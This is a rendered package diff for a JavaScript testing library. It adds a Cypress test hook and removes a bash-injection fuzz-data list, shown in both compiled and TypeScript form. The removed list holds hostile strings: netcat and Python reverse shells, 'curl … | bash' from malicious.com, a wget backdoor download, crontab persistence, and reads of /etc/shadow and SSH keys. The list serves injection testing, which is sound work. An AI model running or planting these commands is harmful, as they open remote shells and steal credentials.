Cypress.Commands.add('apolloClient', apolloClient);
|
|
@@ -53,4 +54,11 @@ export const registerSupport = (): void => {
|
|
|
53
54
|
return originalFn(element, text, newOptions);
|
|
54
55
|
}
|
|
55
56
|
);
|
|
57
|
+
|
|
58
|
+
/**
|
|
59
|
+
* Listen to the 'test:after:run' event to collect tags and other context information after each test execution.
|
|
60
|
+
*/
|
|
61
|
+
Cypress.on('test:after:run', (test, runnable) => {
|
|
62
|
+
contextCollector(test, runnable);
|
|
63
|
+
});
|
|
56
64
|
};
|
|
@@ -88,7 +88,7 @@ describe('FakeData (jfaker) Module Tests', () => {
|
|
|
88
88
|
});
|
|
89
89
|
|
|
90
90
|
describe('Injection Data Generation', () => {
|
|
91
|
-
const injectionTypes = ['xss', 'sql', '
|
|
91
|
+
const injectionTypes = ['xss', 'sql', 'chars', 'htmlentities', 'numbers'];
|
|
92
92
|
|
|
93
93
|
injectionTypes.forEach(type => {
|
|
94
94
|
it(`should generate ${type} injection data without length`, () => {
|
|
@@ -335,7 +335,6 @@ describe('FakeData (jfaker) Module Tests', () => {
|
|
|
335
335
|
scriptInjection: jfaker.person.firstName(),
|
|
336
336
|
longPayload: jfaker.xss({length: 200}),
|
|
337
337
|
sqlInjection: jfaker.sql({length: 100}),
|
|
338
|
-
bashInjection: jfaker.bash(),
|
|
339
338
|
specialChars: jfaker.chars({length: 30})
|
|
340
339
|
};
|
|
341
340
|
|
|
@@ -394,7 +393,7 @@ describe('FakeData (jfaker) Module Tests', () => {
|
|
|
394
393
|
|
|
395
394
|
describe('Type Switching Performance', () => {
|
|
396
395
|
it('should handle frequent type switches', () => {
|
|
397
|
-
const types = ['faker', 'xss', 'sql', '
|
|
396
|
+
const types = ['faker', 'xss', 'sql', 'faker'];
|
|
398
397
|
const results: string[] = [];
|
|
399
398
|
|
|
400
399
|
types.forEach(type => {
|
package/tsconfig.json
CHANGED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
export declare const bashData: string[];
|
|
@@ -1,57 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.bashData = void 0;
|
|
4
|
-
exports.bashData = [
|
|
5
|
-
'--version',
|
|
6
|
-
'--help',
|
|
7
|
-
'$USER',
|
|
8
|
-
'/dev/null; touch /tmp/blns.fail ; echo',
|
|
9
|
-
'`touch /tmp/blns.fail`',
|
|
10
|
-
'$(touch /tmp/blns.fail)',
|
|
11
|
-
'@{[system \'touch /tmp/blns.fail\']}',
|
|
12
|
-
'eval(\'puts \'hello world\'\')',
|
|
13
|
-
'System(\'ls -al /\')',
|
|
14
|
-
'`ls -al /`',
|
|
15
|
-
'Kernel.exec(\'ls -al /\')',
|
|
16
|
-
'Kernel.exit(1)',
|
|
17
|
-
'%x(\'ls -al /\')',
|
|
18
|
-
'$HOME',
|
|
19
|
-
'$ENV{\'HOME\'}',
|
|
20
|
-
'%d',
|
|
21
|
-
'%s',
|
|
22
|
-
'{0}',
|
|
23
|
-
'%*.*s',
|
|
24
|
-
'../../../../../../../../../../../etc/passwd%00',
|
|
25
|
-
'../../../../../../../../../../../etc/hosts',
|
|
26
|
-
'() { 0; }; touch /tmp/blns.shellshock1.fail;',
|
|
27
|
-
'() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }',
|
|
28
|
-
'; cat /etc/passwd',
|
|
29
|
-
'| ls -la',
|
|
30
|
-
'&& whoami',
|
|
31
|
-
'; rm -rf /tmp/test',
|
|
32
|
-
'` cat /etc/shadow `',
|
|
33
|
-
'| id',
|
|
34
|
-
'; uname -a',
|
|
35
|
-
'&& cat /etc/group',
|
|
36
|
-
'$(whoami)',
|
|
37
|
-
'`id`',
|
|
38
|
-
'; nc -e /bin/sh attacker.com 4444',
|
|
39
|
-
'| curl http://malicious.com/shell.sh | bash',
|
|
40
|
-
'; wget http://evil.com/backdoor -O /tmp/backdoor',
|
|
41
|
-
'&& chmod +x /tmp/exploit',
|
|
42
|
-
'`cat /root/.ssh/id_rsa`',
|
|
43
|
-
'; find / -name \'*.conf\'',
|
|
44
|
-
'| grep -r \'password\' /etc/',
|
|
45
|
-
'&& env',
|
|
46
|
-
'$(cat /proc/version)',
|
|
47
|
-
'; ps aux',
|
|
48
|
-
'| netstat -tuln',
|
|
49
|
-
'&& iptables -L',
|
|
50
|
-
'`cat /var/log/auth.log`',
|
|
51
|
-
'; history',
|
|
52
|
-
'| tail -f /var/log/syslog',
|
|
53
|
-
'&& crontab -l',
|
|
54
|
-
'; echo \'* * * * * /tmp/backdoor\' | crontab -',
|
|
55
|
-
'`sudo su -`',
|
|
56
|
-
'; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
|
|
57
|
-
];
|
|
@@ -1,54 +0,0 @@
|
|
|
1
|
-
export const bashData: string[] = [
|
|
2
|
-
'--version',
|
|
3
|
-
'--help',
|
|
4
|
-
'$USER',
|
|
5
|
-
'/dev/null; touch /tmp/blns.fail ; echo',
|
|
6
|
-
'`touch /tmp/blns.fail`',
|
|
7
|
-
'$(touch /tmp/blns.fail)',
|
|
8
|
-
'@{[system \'touch /tmp/blns.fail\']}',
|
|
9
|
-
'eval(\'puts \'hello world\'\')',
|
|
10
|
-
'System(\'ls -al /\')',
|
|
11
|
-
'`ls -al /`',
|
|
12
|
-
'Kernel.exec(\'ls -al /\')',
|
|
13
|
-
'Kernel.exit(1)',
|
|
14
|
-
'%x(\'ls -al /\')',
|
|
15
|
-
'$HOME',
|
|
16
|
-
'$ENV{\'HOME\'}',
|
|
17
|
-
'%d',
|
|
18
|
-
'%s',
|
|
19
|
-
'{0}',
|
|
20
|
-
'%*.*s',
|
|
21
|
-
'../../../../../../../../../../../etc/passwd%00',
|
|
22
|
-
'../../../../../../../../../../../etc/hosts',
|
|
23
|
-
'() { 0; }; touch /tmp/blns.shellshock1.fail;',
|
|
24
|
-
'() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }',
|
|
25
|
-
'; cat /etc/passwd',
|
|
26
|
-
'| ls -la',
|
|
27
|
-
'&& whoami',
|
|
28
|
-
'; rm -rf /tmp/test',
|
|
29
|
-
'` cat /etc/shadow `',
|
|
30
|
-
'| id',
|
|
31
|
-
'; uname -a',
|
|
32
|
-
'&& cat /etc/group',
|
|
33
|
-
'$(whoami)',
|
|
34
|
-
'`id`',
|
|
35
|
-
'; nc -e /bin/sh attacker.com 4444',
|
|
36
|
-
'| curl http://malicious.com/shell.sh | bash',
|
|
37
|
-
'; wget http://evil.com/backdoor -O /tmp/backdoor',
|
|
38
|
-
'&& chmod +x /tmp/exploit',
|
|
39
|
-
'`cat /root/.ssh/id_rsa`',
|
|
40
|
-
'; find / -name \'*.conf\'',
|
|
41
|
-
'| grep -r \'password\' /etc/',
|
|
42
|
-
'&& env',
|
|
43
|
-
'$(cat /proc/version)',
|
|
44
|
-
'; ps aux',
|
|
45
|
-
'| netstat -tuln',
|
|
46
|
-
'&& iptables -L',
|
|
47
|
-
'`cat /var/log/auth.log`',
|
|
48
|
-
'; history',
|
|
49
|
-
'| tail -f /var/log/syslog',
|
|
50
|
-
'&& crontab -l',
|
|
51
|
-
'; echo \'* * * * * /tmp/backdoor\' | crontab -',
|
|
52
|
-
'`sudo su -`',
|
|
53
|
-
'; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
|
|
54
|
-
];
|